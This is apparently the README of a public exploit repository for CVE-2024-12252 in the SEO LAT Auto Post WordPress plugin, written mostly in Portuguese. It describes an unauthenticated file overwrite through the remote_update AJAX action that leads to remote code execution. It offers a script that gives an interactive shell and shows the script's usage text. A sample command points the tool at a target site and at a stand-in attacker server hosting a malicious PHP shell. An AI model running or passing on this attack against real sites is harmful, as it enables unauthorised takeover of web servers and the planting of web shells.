nxploited/cve-2024-12252SEO LAT Auto Post <= 2.2.1 - Falta de Autorização para Sobrescrever/Carregar Arquivo (Execução Remota de Código)
O plugin SEO LAT Auto Post para WordPress é vulnerável a sobrescrita de arquivo devido a uma verificação de capacidade ausente na ação AJAX remote_update em todas as versões até, e incluindo, 2.2.1. Isso possibilita que atacantes não autenticados sobrescrevam o arquivo seo-beginner-auto-post.php, que pode ser usado para obter execução remota de código.
Este script explora a vulnerabilidade no plugin SEO LAT Auto Post para obter execução remota de código sobrescrevendo o arquivo seo-beginner-auto-post.php. O script automatiza o processo de verificar a versão do plugin, acionar o exploit e fornecer um shell interativo para executar comandos.
usage: CVE-2024-12252.py [-h] -u URL --attack-url ATTACK_URL
CVE-2024-12252 | SEO LAT Auto Post <= 2.2.1 - Remote Code Execution # by: By Nxploit | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Target base URL (e.g., http://example.com/wordpress)
--attack-url ATTACK_URL
Direct URL to your malicious PHP shell
Execute o script com a URL alvo e a URL para seu shell PHP malicioso:
python CVE-2024-12252.py -u http://example.com/wordpress --attack-url http://yourserver.com/shell.php